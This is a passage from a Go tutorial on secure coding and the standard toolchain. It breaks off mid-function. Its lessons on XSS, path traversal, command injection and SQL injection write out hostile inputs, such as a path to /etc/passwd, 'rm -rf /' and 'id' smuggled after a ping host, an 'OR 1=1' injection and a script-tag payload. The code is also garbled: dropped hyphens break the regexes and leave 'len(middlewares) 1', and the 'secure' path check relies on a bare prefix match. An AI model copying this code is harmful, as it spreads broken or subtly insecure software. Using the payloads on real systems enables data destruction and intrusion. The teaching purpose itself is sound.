// Compile regex patterns once at the package level for efficiency.
var (
    // A simple email regex. Real world email regexes are horrifyingly complex,
    // but this is good for a basic sanity check.
    emailRegex = regexp.MustCompile(`^[a zA-Z0-9._%+-]+@[a zA-Z0-9.-]+\.[a zA-Z]{2,}$`)

    // A regex for a simple username: 3-20 alphanumeric characters.
    usernameRegex = regexp.MustCompile(`^[a zA-Z0-9]{3,20}$`)
)

func main() {
    // Test cases
    fmt.Printf("Is 'test@example.com' a valid email? %v\n", emailRegex.MatchString("test@example.com"))
    fmt.Printf("Is 'not an email' a valid email? %v\n", emailRegex.MatchString("not an email"))

    fmt.Printf("Is 'gooduser123' a valid username? %v\n", usernameRegex.MatchString("gooduser123"))
    fmt.Printf("Is 'bad!user' a valid username? %v\n", usernameRegex.MatchString("bad!user"))
}

Preventing Cross-Site Scripting-(XSS)

When building web applications, you must prevent user input from being interpreted as HTML by the browser. The html/template package is designed for this. It performs context aware escaping automatically.

WRONG WAY (Vulnerable):

// DO NOT DO THIS.
// Using fmt.Fprintf with user input is a classic XSS vulnerability.
http.HandleFunc("/welcome", func(w http.ResponseWriter, r *http.Request) {
    userInput := r.URL.Query().Get("name") // e.g., "<script>alert('xss')</script>"
    fmt.Fprintf(w, "<h1>Welcome, %s!</h1>", userInput) // VULNERABLE!
})

RIGHT WAY (Secure):

package main

import (
    "html/template"
    "net/http"
)

func main() {
    http.HandleFunc("/welcome", func(w http.ResponseWriter, r *http.Request) {
        // Define a simple template.
    tmpl, err := template.New("welcome").Parse("<h1>Welcome, {{.}}!</h1>")
        if err != nil {
            http.Error(w, "Internal server error", http.StatusInternalServerError)
            return
        }

        userInput := r.URL.Query().Get("name") // e.g., "<script>alert('xss')</script>"

        // Execute the template. The `html/template` package will automatically
        // escape the user input, so the <script> tag will be rendered as plain text.
        tmpl.Execute(w, userInput)
    })

    fmt.Println("Starting server on :8080")
    http.ListenAndServe(":8080", nil)
}

19. Filesystem Safety

Interacting with the filesystem based on user input is risky. The most common attack is Path Traversal (also known as Directory Traversal or ../ attack).

The goal of the attacker is to use input like ../../../../etc/passwd to trick your program into accessing files outside of its intended directory.

WRONG WAY (Vulnerable):

// DO NOT DO THIS.
// Concatenating paths directly is extremely dangerous.
func vulnerableFileRead(w http.ResponseWriter, r *http.Request) {
    fileName := r.URL.Query().Get("file") // Attacker provides "../secrets.txt"
    filePath := "/var/www/data/" + fileName // Result: "/var/www/data/../secrets.txt"

    data, err := ioutil.ReadFile(filePath) // Reads the secret file!
    // ...
}

RIGHT WAY (Secure):

Use the path/filepath package to safely join path components and clean the result.

package main

import (
    "fmt"
    "path/filepath"
    "strings"
)

// Sanitize a user provided filename to ensure it stays within a base directory.
func secureFilePath(baseDir, userFile string) (string, error) {
    // Join the base directory and the user provided file path.
    // `filepath.Join` cleans the path, but doesn't prevent traversal on its own.
    // e.g., Join("data", "../secrets") -> "secrets"
    dest := filepath.Join(baseDir, userFile)

    // The crucial step: ensure the cleaned path is still within the base directory.
    // `filepath.Abs` gets the absolute path.
    absBase, err := filepath.Abs(baseDir)
    if err != nil {
        return "", err
    }
    absDest, err := filepath.Abs(dest)
    if err != nil {
        return "", err
    }

    // If the final absolute path doesn't start with the absolute base path,
    // it's a traversal attempt.
    if !strings.HasPrefix(absDest, absBase) {
        return "", fmt.Errorf("path traversal attempt: %s", userFile)
    }

    return dest, nil
}

func main() {
    base := "/var/www/data"

    // Good case
    path, err := secureFilePath(base, "images/gopher.png")
    if err != nil {
        fmt.Println("Error:", err)
    } else {
        fmt.Println("Safe path:", path)
    }

    // Bad case
    path, err = secureFilePath(base, "../../../../etc/passwd")
    if err != nil {
        fmt.Println("Error:", err)
    } else {
        fmt.Println("Safe path:", path)
    }
}

20. Avoiding Command Injection

This is one of the most critical vulnerabilities when running external processes. It occurs when user input is passed directly into a shell that interprets it.

WRONG WAY (Vulnerable):

// DO NOT DO THIS. EVER.
// Running a command through a shell like `/bin/sh -c` with user input is a recipe for disaster.
func vulnerablePing(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host") // Attacker provides "8.8.8.8; rm -rf /"

    // The command becomes "ping -c 1 8.8.8.8; rm -rf /"
    // The shell executes both commands!
    cmd := exec.Command("/bin/sh", "-c", "ping -c 1 " + host)
    out, err := cmd.CombinedOutput()
    // ...
}

RIGHT WAY (Secure):

The os/exec package is safe by default if you use it correctly. Pass the command and its arguments as separate strings. The package will handle quoting and prevent the arguments from being interpreted by a shell.

package main

import (
    "fmt"
    "log"
    "os/exec"
)

// This function is safe because the `host` variable is passed as a single,
// distinct argument to the `ping` command. It will not be interpreted by a shell.
func securePing(host string) {
    // If the host is "8.8.8.8; id", the `ping` command will literally
    // try to resolve a host with that exact name, which will fail.
    // The `id` part is never executed.
    cmd := exec.Command("ping", "-c", "1", host)

    fmt.Printf("Executing: %s\n", cmd.String())

    out, err := cmd.CombinedOutput()
    if err != nil {
        log.Printf("Ping failed: %v\nOutput: %s", err, string(out))
        return
    }

    fmt.Printf("Ping successful:\n%s", string(out))
}

func main() {
    // Safe case
    securePing("8.8.8.8")

    fmt.Println("\n---\n")

    // Malicious case
    // This will fail safely.
    securePing("8.8.8.8; id")
}

Rule of thumb: Never, ever use exec.Command("/bin/sh", "-c", ...) with untrusted input. Always pass arguments separately.

21. Cryptography with crypto

Go's standard library includes a rich set of cryptographic packages. Do not implement your own crypto. Use the standard library primitives correctly.

Hashing

Use a strong, slow hashing algorithm for passwords. bcrypt is the standard choice.

package main

import (
    "fmt"
    "log"

    "golang.org/x/crypto/bcrypt"
)

func main() {
    password := "s3cr3tP@ssw0rd!"

    // Hash the password. bcrypt.GenerateFromPassword handles salt generation for you.
    // The second argument is the cost factor (higher is slower and more secure).
    hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
    if err != nil {
        log.Fatal(err)
    }

    fmt.Printf("Original Password: %s\n", password)
    fmt.Printf("Hashed Password:   %s\n", string(hashedPassword))

    // Now, let's verify the password.
    // This compares the original password with the stored hash.

    // Correct password
    err = bcrypt.CompareHashAndPassword(hashedPassword, []byte(password))
    if err == nil {
        fmt.Println("Password verification successful!")
    } else {
        fmt.Println("Password verification failed.")
    }

    // Incorrect password
    err = bcrypt.CompareHashAndPassword(hashedPassword, []byte("wrongpassword"))
    if err == nil {
        fmt.Println("Password verification successful!")
    } else {
        fmt.Println("Password verification failed.")
    }
}

Cryptographically Secure Random Numbers

Do not use math/rand for anything security related (like generating keys, salts, or tokens). Use crypto/rand instead.

package main

import (
    "crypto/rand"
    "encoding/hex"
    "fmt"
)

// generateSecureToken creates a random, URL-safe token.
func generateSecureToken(length int) (string, error) {
    // Create a byte slice of the desired length.
    b := make([]byte, length)

    // Read cryptographically secure random bytes into the slice.
    // `rand.Read` is the function to use.
    if _, err := rand.Read(b); err != nil {
        return "", err
    }

    // Encode the random bytes into a hexadecimal string.
    return hex.EncodeToString(b), nil
}

func main() {
    // Generate a 32-byte (256-bit) secure token.
    token, err := generateSecureToken(32)
    if err != nil {
        panic(err)
    }

    fmt.Println("Secure Token:", token)
}

Symmetric Encryption-(AES-GCM)

AES-GCM is the recommended authenticated encryption mode. It provides both confidentiality (encryption) and integrity/authenticity (a MAC).

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "fmt"
    "io"
    "log"
)

func main() {
    plaintext := []byte("This is a top secret message.")

    // Generate a new 32-byte (256-bit) AES key.
    // In a real application, you would store and manage this key securely.
    key := make([]byte, 32)
    if _, err := rand.Read(key); err != nil {
        log.Fatal(err)
    }

    fmt.Printf("Plaintext: %s\n", string(plaintext))

    // Encrypt the plaintext.
    ciphertext, err := encrypt(plaintext, key)
    if err != nil {
        log.Fatal(err)
    }
    fmt.Printf("Ciphertext (hex): %x\n", ciphertext)

    // Decrypt the ciphertext.
    decryptedText, err := decrypt(ciphertext, key)
    if err != nil {
        log.Fatal(err)
    }
    fmt.Printf("Decrypted Text: %s\n", string(decryptedText))
}

func encrypt(plaintext []byte, key []byte) ([]byte, error) {
    // Create a new AES cipher block from the key.
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    // Create a new GCM cipher mode.
    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    // Create a nonce (number used once). GCM nonces must be unique for each encryption
    // with the same key. A 12-byte nonce is standard.
    nonce := make([]byte, gcm.NonceSize())
    if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
        return nil, err
    }

    // Encrypt the data. The nonce is prepended to the ciphertext.
    // This is a common practice to make decryption easier.
    ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
    return ciphertext, nil
}

func decrypt(ciphertext []byte, key []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    // The nonce is the first part of the ciphertext.
    nonceSize := gcm.NonceSize()
    if len(ciphertext) < nonceSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    nonce, actualCiphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]

    // Decrypt the data. If the authentication tag (MAC) is invalid,
    // this function will return an error.
    plaintext, err := gcm.Open(nil, nonce, actualCiphertext, nil)
    if err != nil {
        return nil, err
    }

    return plaintext, nil
}

22. Preventing Insecure Deserialization

Insecure Deserialization happens when an application deserializes untrusted data without sufficient validation, potentially leading to remote code execution or other attacks. While Go is generally safer than languages like Java or Python in this regard (due to static typing and lack of a universal eval-like function), risks still exist, especially when using encoding/gob or unmarshaling JSON into interface{}.

The Safest Approach: Always deserialize into concrete, statically defined struct types.

package main

import (
    "bytes"
    "encoding/gob"
    "fmt"
    "log"
)

type SafeUser struct {
    ID   int
    Name string
}

func main() {
    // Attacker controlled data (e.g., from a cookie or network socket)
    // In a real attack, this byte stream could be crafted to exploit
    // a gadget in a more complex program.
    var maliciousBuffer bytes.Buffer
    // For this example, we just encode a normal struct.
    encoder := gob.NewEncoder(&maliciousBuffer)
    if err := encoder.Encode(SafeUser{ID: 1337, Name: "attacker"}); err != nil {
        log.Fatal(err)
    }

    // --- RIGHT WAY (Secure) ---
    // We decode into our expected, safe struct type.
    var user SafeUser
    decoder := gob.NewDecoder(&maliciousBuffer)
    if err := decoder.Decode(&user); err != nil {
        log.Fatalf("Gob decoding failed: %v", err)
    }
    fmt.Printf("Safely decoded user: %+v\n", user)

    // --- RISKY WAY ---
    // Decoding into an empty interface (`interface{}`)
    is risky.
    // The resulting type is determined by the encoded data, which can be
    // unexpected. While not as dangerous as in other languages, it can
    // lead to panics or logic bugs if the type is not what you expect.
    // var data interface{}
    // decoder.Decode(&data)
    // // Now you have to use type assertions and checks, which is error prone.
    // // realUser, ok := data.(SafeUser)
}

Part 5: Working with Data

Most tools need to process data, whether it's from a config file, an API, or a database. Go's standard library provides excellent support for common data formats.

23. Handling JSON

The encoding/json package is your go to for all things JSON.

Unmarshaling (JSON to-Struct)

This is the most common task: converting JSON data from an API into a Go struct.

package main

import (
    "encoding/json"
    "fmt"
    "log"
)

// The struct fields must be exported (capitalized) to be seen by the json package.
// The `json:"..."` tags are optional but highly recommended. They map the JSON
// keys to your struct fields, allowing you to use idiomatic Go field names (like `IsAdmin`)
// while matching the common `snake_case` or `camelCase` of JSON.
type User struct {
    ID       int      `json:"id"`
    Username string   `json:"username"`
    IsAdmin  bool     `json:"is_admin"`
    Roles    []string `json:"roles"`
    // If a JSON key is present but has no value, `omitempty` will cause the
    // field to be omitted from the Go struct's zero value.
    // A pointer is used here to distinguish between a missing key and a key with a null value.
    Notes *string `json:"notes,omitempty"`
}

func main() {
    // Imagine this JSON comes from an HTTP request body.
    jsonData := []byte(`{
        "id": 101,
        "username": "gopher",
        "is_admin": true,
        "roles": ["read", "write"],
        "notes": "Loves carrots"
    }`)

    var user User
    // Unmarshal parses the JSON data and stores the result in the struct.
    if err := json.Unmarshal(jsonData, &user); err != nil {
        log.Fatalf("JSON unmarshaling failed: %v", err)
    }

    fmt.Printf("User: %+v\n", user)
    fmt.Println("Username:", user.Username)
    fmt.Println("Is Admin?:", user.IsAdmin)
    fmt.Println("First Role:", user.Roles[0])
    if user.Notes != nil {
        fmt.Println("Notes:", *user.Notes)
    }
}

Marshaling (Struct to-JSON)

The reverse is just as easy.

package main

import (
    "encoding/json"
    "fmt"
    "log"
)

type Config struct {
    APIKey    string   `json:"api_key"`
    Endpoints []string `json:"endpoints"`
    Timeout   int      `json:"timeout_seconds"`
}

func main() {
    config := Config{
        APIKey:    "super secret key",
        Endpoints: []string{"/api/v1/users", "/api/v1/data"},
        Timeout:   10,
    }

    // Marshal returns the JSON encoding of the struct.
    jsonData, err := json.Marshal(config)
    if err != nil {
        log.Fatalf("JSON marshaling failed: %v", err)
    }
    fmt.Println("JSON (compact):", string(jsonData))

    // For pretty printing, use MarshalIndent.
    prettyJsonData, err := json.MarshalIndent(config, "", "  ") // indent with two spaces
    if err != nil {
        log.Fatalf("JSON marshaling failed: %v", err)
    }
    fmt.Println("\nJSON (pretty):")
    fmt.Println(string(prettyJsonData))
}

24. Handling XML

XML is less common for new APIs but still prevalent in enterprise systems and configuration files. The encoding/xml package works very similarly to the JSON package.

package main

import (
    "encoding/xml"
    "fmt"
    "log"
)

// XML tags work just like JSON tags.
type Server struct {
    // `xml:"..."` defines the mapping.
    XMLName    xml.Name `xml:"server"`
    ServerName string   `xml:"serverName"`
    ServerPort int      `xml:"serverPort"`
}

func main() {
    // Unmarshaling (XML to Struct)
    xmlData := []byte(`
        <server>
            <serverName>c2-alpha</serverName>
            <serverPort>8443</serverPort>
        </server>
    `)

    var s Server
    if err := xml.Unmarshal(xmlData, &s); err != nil {
        log.Fatalf("XML unmarshaling failed: %v", err)
    }
    fmt.Printf("Unmarshaled Server: %+v\n", s)

    // Marshaling (Struct to XML)
    config := Server{ServerName: "c2-beta", ServerPort: 9001}
    xmlOutput, err := xml.MarshalIndent(config, "", "  ")
    if err != nil {
        log.Fatalf("XML marshaling failed: %v", err)
    }

    // The `xml.Header` is needed for a standard XML file.
    fmt.Println("\nMarshaled XML:")
    fmt.Println(xml.Header + string(xmlOutput))
}

25. Interacting with SQL Databases

The database/sql package provides a generic SQL interface. You use it with a specific database driver.

The Golden Rule of SQL in Go: Always use parameterized queries to prevent SQL injection.

Connecting and Querying

First, you need to get a database driver. For example, for SQLite: go get github.com/mattn/go sqlite3

package main

import (
    "database/sql"
    "fmt"
    "log"

    // The driver is imported for its side effects (registering itself),
    // so we use the blank identifier `_`.
    _ "github.com/mattn/go sqlite3"
)

type User struct {
    ID       int
    Username string
    IsAdmin  bool
}

func main() {
    // Open a connection to the database.
    // The first argument is the driver name.
    db, err := sql.Open("sqlite3", "./users.db")
    if err != nil {
        log.Fatal(err)
    }
    defer db.Close()

    // Create a table for our example.
    createTableSQL := `CREATE TABLE IF NOT EXISTS users (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "username" TEXT,
        "is_admin" BOOLEAN
    );`
    _, err = db.Exec(createTableSQL)
    if err != nil {
        log.Fatalf("Failed to create table: %v", err)
    }

    // --- WRONG WAY (Vulnerable to SQL Injection) ---
    // userInput := "admin' OR 1=1; --"
    // vulnerableQuery := "SELECT * FROM users WHERE username = '" + userInput + "'"
    // THIS IS BAD. DO NOT DO THIS.

    // --- RIGHT WAY (Using Parameterized Queries) ---

    // Use `db.Exec` for statements that don't return rows (INSERT, UPDATE, DELETE).
    // The `?` is a placeholder for a parameter.
    insertSQL := "INSERT INTO users(username, is_admin) VALUES (?, ?)"
    _, err = db.Exec(insertSQL, "alice", true)
    if err != nil {
        log.Fatalf("Failed to insert user: %v", err)
    }
    _, err = db.Exec(insertSQL, "bob", false)
    if err != nil {
        log.Fatalf("Failed to insert user: %v", err)
    }

    // Use `db.Query` for `SELECT` statements that return multiple rows.
    querySQL := "SELECT id, username, is_admin FROM users WHERE is_admin = ?"
    rows, err := db.Query(querySQL, true) // Find all admins
    if err != nil {
        log.Fatal(err)
    }
    defer rows.Close()

    fmt.Println("Admin Users:")
    for rows.Next() {
        var u User
        // Scan copies the columns from the current row into the variables.
        if err := rows.Scan(&u.ID, &u.Username, &u.IsAdmin); err != nil {
            log.Fatal(err)
        }
        fmt.Printf("  %+v\n", u)
    }

    // Use `db.QueryRow` for queries that are expected to return at most one row.
    var singleUser User
    queryRowSQL := "SELECT id, username, is_admin FROM users WHERE username = ?"
    // `QueryRow` itself doesn't return an error. The error is deferred until `Scan`.
    err = db.QueryRow(queryRowSQL, "bob").Scan(&singleUser.ID, &singleUser.Username, &singleUser.IsAdmin)
    if err != nil {
        if err == sql.ErrNoRows {
            fmt.Println("User 'bob' not found.")
        } else {
            log.Fatal(err)
        }
    } else {
        fmt.Printf("\nFound user 'bob': %+v\n", singleUser)
    }
}

Part 6: Building, Testing, and Tooling

Writing code is only half the battle. Go comes with a powerful, simple toolchain for managing dependencies, building, testing, and analyzing your code.

26. Go Modules and Workspace

Since Go 1.11, modules are the standard way to manage dependencies. A module is a collection of Go packages versioned together.

  • go.mod file: Defines the module's path, the version of Go it was built with, and its dependencies.
  • go.sum file: Contains the cryptographic checksums of the direct and indirect dependencies to ensure integrity.

Common Commands:

  • go mod init <module path>: Initializes a new module in the current directory. The module path is typically your code's repository path (e.g., github.com/user/project).
    # Start a new project
    mkdir my tool
    cd my tool
    go mod init github.com/my user/my tool
    
  • go get <package path>: Adds or updates a dependency.
    # Add the popular `cobra` library for CLI tools
    go get github.com/spf13/cobra@v1.4.0
    
  • go mod tidy: The magic command. It analyzes your source code and ensures your go.mod file matches. It adds any missing dependencies and removes any unused ones. Run this before committing your code.

27. The Go Toolchain (go build, go test,-etc.)

The go command is your Swiss Army knife.

  • go build: Compiles the packages and their dependencies.
    • By default, it creates an executable in the current directory named after the directory.
    • go build -o myapp ./cmd/main.go: Creates an executable named myapp from a specific file.
  • go run: Compiles and runs the specified main package. Great for quick development.
    go run ./cmd/my tool/main.go
    
  • go install: Compiles and installs a package to your $GOPATH/bin directory, making the command available on your system PATH.
  • go fmt: Formats your code according to Go's standard style. Most Go developers configure their editor to run this on save.
  • go vet: A static analysis tool that reports suspicious constructs, like Printf calls whose arguments don't align with the format string.

Cross-Compilation

One of Go's killer features is its ability to easily cross compile for different operating systems and architectures from any machine. This is done by setting the GOOS (OS) and GOARCH (architecture) environment variables.

# Compile for Windows-(64-bit) from a Linux machine
GOOS=windows GOARCH=amd64 go build -o my tool.exe .

# Compile for Linux on an ARM64 processor (like a Raspberry Pi-4)
GOOS=linux GOARCH=arm64 go build -o my tool arm64 .

# View all possible targets
go tool dist list

28. Testing and Benchmarking in Go

Go has a lightweight testing framework built into the standard library.

  • Tests reside in _test.go files.
  • Test functions start with Test and take *testing.T as a parameter.
  • Run tests with go test ./....

Unit Tests

main_test.go:

package main

import "testing"

// A simple function we want to test.
func Add(a, b int) int {
    return a + b
}

// The test function for Add.
func TestAdd(t *testing.T) {
    result := Add(2, 3)
    expected := 5

    if result != expected {
        // t.Errorf formats a message and marks the test as failed.
        t.Errorf("Add(2, 3) = %d; want %d", result, expected)
    }
}

Table-Driven Tests

This is a very common and powerful pattern in Go for testing multiple cases with the same logic.

main_test.go:

package main

import "testing"

func TestAddTableDriven(t *testing.T) {
    // Define a struct to hold our test cases.
    var tests = []struct {
        name     string // A name for the test case
        a, b     int
        expected int
    }{
        {"positive numbers", 2, 3, 5},
        {"negative numbers", -2, -3, -5},
        {"mixed numbers", 2, -3, -1},
        {"zero", 0, 0, 0},
    }

    // Iterate over the test cases.
    for _, tt := range tests {
        // t.Run allows you to run sub tests, which gives you better output.
        t.Run(tt.name, func(t *testing.T) {
            result := Add(tt.a, tt.b)
            if result != tt.expected {
                t.Errorf("got %d, want %d", result, tt.expected)
            }
        })
    }
}

Benchmarks

Benchmarks test the performance of your code. They start with Benchmark and take *testing.B.

main_test.go:

package main

import "testing"

func BenchmarkAdd(b *testing.B) {
    // The framework will run this loop `b.N` times and measure the performance.
    for i := 0; i < b.N; i++ {
        Add(100, 200)
    }
}
Run benchmarks with go test -bench=..

29. Static Analysis: vet and golangci lint

  • go vet: Catches common mistakes and suspicious code. It's a good first line of defense. Run it as part of your CI pipeline.
    go vet ./...
    
  • golangci lint: The de facto standard linter for Go. It's an aggregator that runs dozens of different linters in parallel, catching everything from style issues to subtle bugs and performance problems.
    • Install it: go install github.com/golangci/golangci lint/cmd/golangci lint@latest
    • Run it: golangci lint run
    • It's highly configurable via a .golangci.yml file.

Part 7: Advanced Go & Security Topics

Here we'll touch on some more advanced concepts that are crucial for writing robust, production grade applications.

30. The context Package

The context package is essential for managing the lifecycle of a request or process. It allows you to pass deadlines, cancellation signals, and other request scoped values across API boundaries and between goroutines.

Why is this a security topic? Uncontrolled, long running processes are a denial of service risk. The context package is your primary tool for preventing this.

package main

import (
    "context"
    "fmt"
    "net/http"
    "time"
)

// A slow function that simulates a database query or external API call.
// It takes a context as its first argument.
func slowOperation(ctx context.Context) (string, error) {
    fmt.Println("Slow operation started...")
    select {
    case <-time.After(5 * time.Second):
        // The operation completed successfully after 5 seconds.
        fmt.Println("Slow operation finished.")
        return "Operation complete", nil
    case <-ctx.Done():
        // The context was canceled! This could be due to a timeout
        // or the client closing the connection.
        fmt.Println("Slow operation canceled.")
        return "", ctx.Err()
    }
}

func main() {
    http.HandleFunc("/data", func(w http.ResponseWriter, r *http.Request) {
        // The incoming request `r` has a context associated with it.
        // This context is automatically canceled if the client closes the connection.
        ctx := r.Context()

        // We can also create a new context with a timeout.
        // `context.WithTimeout` returns a new context that will be canceled
        // after the specified duration.
        ctx, cancel := context.WithTimeout(ctx, 3*time.Second)
        defer cancel() // It's good practice to call cancel to release resources.

        // Call our slow operation with the timeout aware context.
        result, err := slowOperation(ctx)
        if err != nil {
            // This will trigger if the 3-second timeout is hit before
            // the 5-second operation finishes.
            http.Error(w, err.Error(), http.StatusRequestTimeout)
            return
        }

        fmt.Fprintln(w, result)
    })

    fmt.Println("Starting server on :8080. Try visiting http://localhost:8080/data")
    http.ListenAndServe(":8080", nil)
}

31. Reflection-(reflect)

Reflection allows a program to inspect and manipulate its own variables, types, and structure at runtime. The reflect package is powerful but has significant downsides:

  • Performance: Reflection is much slower than direct code execution.
  • Type Safety: It bypasses Go's static type safety, so errors that would be caught at compile time become runtime panics.
  • Readability: Code using reflection is often harder to understand.

Use cases: It's most commonly used in frameworks and libraries that need to work with arbitrary types, like JSON marshaling or ORMs.

Rule of thumb: If you think you need reflection, think again. If you still think you need it, you're probably writing a framework.

package main

import (
    "fmt"
    "reflect"
)

type MyStruct struct {
    Name    string `tag:"name"`
    Version int    `tag:"version"`
}

func main() {
    s := MyStruct{Name: "Gopher", Version: 1}

    // Get the reflect.Type of the struct.
    t := reflect.TypeOf(s)

    // Iterate over the fields of the struct.
    fmt.Println("Fields of MyStruct:")
    for i := 0; i < t.NumField(); i++ {
        field := t.Field(i)
        // Print the field name, type, and tag.
        fmt.Printf("  Name: %s, Type: %s, Tag: '%s'\n",
            field.Name,
            field.Type,
            field.Tag.Get("tag"),
        )
    }
}

32. The unsafe Package

The name says it all. This package contains operations that step outside the safety of Go's type system. It's the "break glass in case of extreme emergency" tool.

Why does it exist? For very low level programming, like interacting with the operating system, memory mapped I/O, or squeezing out the absolute last drop of performance in a hot path by avoiding GC overhead.

From a security perspective, code using unsafe should be audited with extreme prejudice. It's where memory corruption bugs, if they are to exist in Go, will most likely be found.

A common (and still dangerous) use is to convert between different types without memory allocation.

package main

import (
    "fmt"
    "reflect"
    "unsafe"
)

func main() {
    s := "hello world"

    // This is a standard conversion, it allocates a new byte slice and copies the data.
    b1 := []byte(s)

    // Using `unsafe`, we can create a slice header that points directly to the
    // string's underlying memory. This is faster but extremely dangerous.
    // If the original string `s` is garbage collected, the slice `b2` will
    // point to invalid memory, leading to a crash or worse.
    stringHeader := (*reflect.StringHeader)(unsafe.Pointer(&s))
    sliceHeader := reflect.SliceHeader{
        Data: stringHeader.Data,
        Len:  stringHeader.Len,
        Cap:  stringHeader.Len,
    }
    b2 := *(*[]byte)(unsafe.Pointer(&sliceHeader))

    fmt.Printf("Standard conversion: %s\n", b1)
    fmt.Printf("Unsafe conversion:   %s\n", b2)

    // Modifying the unsafe slice will cause a panic, because the underlying
    // memory for a string is read only.
    // b2[0] = 'H' // PANIC!
}

Rule of thumb: Do not use the unsafe package.

33. CGO: Interfacing with C

CGO allows Go packages to call C code. This is useful for reusing existing C libraries or for performance critical code that needs to be written in C.

Using CGO introduces several complexities: * Build Complexity: It requires a C compiler (like GCC) to be present. * Performance Overhead: Calling a C function from Go has a non trivial overhead. * Memory Management: You are now responsible for manually managing the memory of C objects (malloc, free). * Safety: You lose Go's memory safety guarantees when you're in C code.

A minimal example:

package main

// The `import "C"` is a special import that tells Go to use CGO.
// The comment block immediately preceding it is parsed as C code.
/*
#include <stdio.h>
#include <stdlib.h>

void myCFunction() {
    printf("Hello from C!\n");
}
*/
import "C"
import "fmt"

func main() {
    fmt.Println("Hello from Go!")
    // Call the C function directly.
    C.myCFunction()
    fmt.Println("Back in Go!")
}

To run this, you just use go run .. The Go toolchain handles the C compiler automatically.

34. Advanced HTTP Server Patterns

Graceful Shutdown

When you restart a server, you don't want to abruptly kill active connections. A graceful shutdown allows existing requests to finish before the server exits.

package main

import (
    "context"
    "fmt"
    "log"
    "net/http"
    "os"
    "os/signal"
    syscall "syscall"
    time "time"
)

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Println("Handling request...")
        time.Sleep(5 * time.Second) // Simulate a long running request
        fmt.Fprintln(w, "Request finished.")
        fmt.Println("Request finished.")
    })

    server := &http.Server{
        Addr:    ":8080",
        Handler: mux,
    }

    // Run the server in a goroutine so that it doesn't block.
    go func() {
        log.Println("Starting server on :8080")
        if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
            log.Fatalf("Could not listen on %s: %v\n", server.Addr, err)
        }
    }()

    // Set up a channel to listen for OS signals (like Ctrl+C).
    stop := make(chan os.Signal, 1)
    signal.Notify(stop, syscall.SIGINT, syscall.SIGTERM)

    // Block until a signal is received.
    <-stop
    log.Println("Shutdown signal received, starting graceful shutdown...")

    // Create a context with a timeout for the shutdown.
    ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()

    // `Shutdown` attempts to gracefully shut down the server without
    // interrupting any active connections.
    if err := server.Shutdown(ctx); err != nil {
        log.Fatalf("Server graceful shutdown failed: %v", err)
    }

    log.Println("Server gracefully stopped.")
}

Middleware Chaining

Let's build on our middleware concept to create a chain of handlers.

package main

import (
    "log"
    "net/http"
    time "time"
)

// Middleware is a type alias for our middleware function signature.
type Middleware func(http.Handler) http.Handler

func logging(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        start := time.Now()
        log.Printf("-> %s %s", r.Method, r.URL.Path)
        next.ServeHTTP(w, r)
        log.Printf("<- %s %s in %v", r.Method, r.URL.Path, time.Since(start))
    })
}

func auth(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        apiKey := r.Header.Get("X-API-Key")
        if apiKey != "secret token" {
            http.Error(w, "Forbidden", http.StatusForbidden)
            return // Don't call the next handler
        }
        // If auth is successful, call the next handler.
        next.ServeHTTP(w, r)
    })
}

// Chain applies a list of middlewares to a final handler.
func Chain(h http.Handler, middlewares ...Middleware) http.Handler {
    // Apply middlewares in reverse order.
    for i := len(middlewares) 1; i >= 0; i-- {
        h = middlewares[i](h)
    }
    return h
}

func main() {
    finalHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte("OK"))
    })

    // Chain the middlewares. The request will go through logging -> auth -> finalHandler.
    http.Handle("/", Chain(finalHandler, auth, logging))

    log.Println("Starting server on :8080")
    log.Fatal(http.ListenAndServe(":8080", nil))
}

Part 8: The Gopher's Cookbook

This section contains more complete, real world examples that tie together many of the concepts we've discussed.

35. Cookbook: A Simple REST API with SQLite

This example builds a simple CRUD (Create, Read, Update, Delete) API for managing users, backed by a SQLite database. It demonstrates routing, JSON handling, and secure database access.

main.go:

package main

import (
    "context"
    "database/sql"
    "encoding/json"
    "fmt"
    "log"
    "net/http"
    "os"
    "os/signal"
    "strconv"
    "strings"
    syscall "syscall"
    time "time"

    _ "github.com/mattn/go sqlite3"
)

// --- Data Layer ---

type User struct {
    ID   int64  `json:"id"`
    Name string `json:"name"`
}

type Datastore struct {
    db *sql.DB
}

func NewDatastore(db *sql.DB) *Datastore {
    return &Datastore{db: db}
}

func (ds *Datastore) CreateUser(name string) (int64, error) {
    res, err := ds.db.Exec("INSERT INTO users (name) VALUES (?)", name)
    if err != nil {
        return 0, err
    }
    return res.LastInsertId()
}

func (ds *Datastore) GetUser(id int64) (*User, error) {
    u := &User{}
    err := ds.db.QueryRow("SELECT id, name FROM users WHERE id = ?", id).Scan(&u.ID, &u.Name)
    if err != nil {
        return nil, err
    }
    return u, nil
}

func (ds *Datastore) ListUsers() ([]*User, error) {

rows, err := ds.db.Query("SELECT id, name FROM users")
    if err != nil {
        return nil, err
    }
    defer rows.Close()

    var users []*User
    for rows.Next() {
        u := &User{}
        if err := rows.Scan(&u.ID, &u.Name); err != nil {
            return nil, err
        }
        users = append(users, u)
    }
    return users, nil
}

// --- HTTP Layer ---

type Server struct {
    ds *Datastore
    router *http.ServeMux
}

func NewServer(ds *Datastore) *Server {
    s := &Server{ds: ds, router: http.NewServeMux()}
    s.router.HandleFunc("/users", s.usersHandler)
    s.router.HandleFunc("/users/", s.userHandler)
    return s
}

func (s *Server) ServeHTTP(w http.ResponseWriter, r *http.Request) {
